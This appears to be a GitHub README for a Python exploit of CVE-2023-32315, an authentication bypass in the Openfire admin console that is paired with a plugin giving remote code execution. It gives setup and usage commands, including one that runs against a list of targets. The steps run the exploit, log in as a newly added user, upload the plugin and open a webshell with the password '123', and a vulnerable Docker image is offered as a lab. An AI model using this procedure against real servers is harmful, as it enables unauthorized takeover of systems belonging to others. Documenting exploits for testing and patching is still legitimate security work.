/CVE-2023-32315

Openfire Console Authentication Bypass Vulnerability with RCE plugin

Primary LanguagePython

CVE-2023-32315

Openfire Console Authentication Bypass Vulnerability with RCE plugin

Setup

git clone https://github.com/miko550/CVE-2023-32315.git
cd CVE-2023-32315
pip3 install -r requirements.txt

Usage

python3 CVE-2023-32315.py -t http://127.0.0.1:9090
python3 CVE-2023-32315.py -l lists.txt

Step

  1. Run exploit
  2. login with newly added user
  3. goto tab plugin > upload plugin openfire-management-tool-plugin.jar
  4. goto tab server > server settings > Management tool
  5. Access websehll with password "123"

Vulnerable Openfire Docker

docker pull nasqueron/openfire:4.7.1
sudo docker run --name openfire -d --restart=always --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 --volume /srv/docker/openfire:/var/lib/openfire nasqueron/openfire:4.7.1

Reference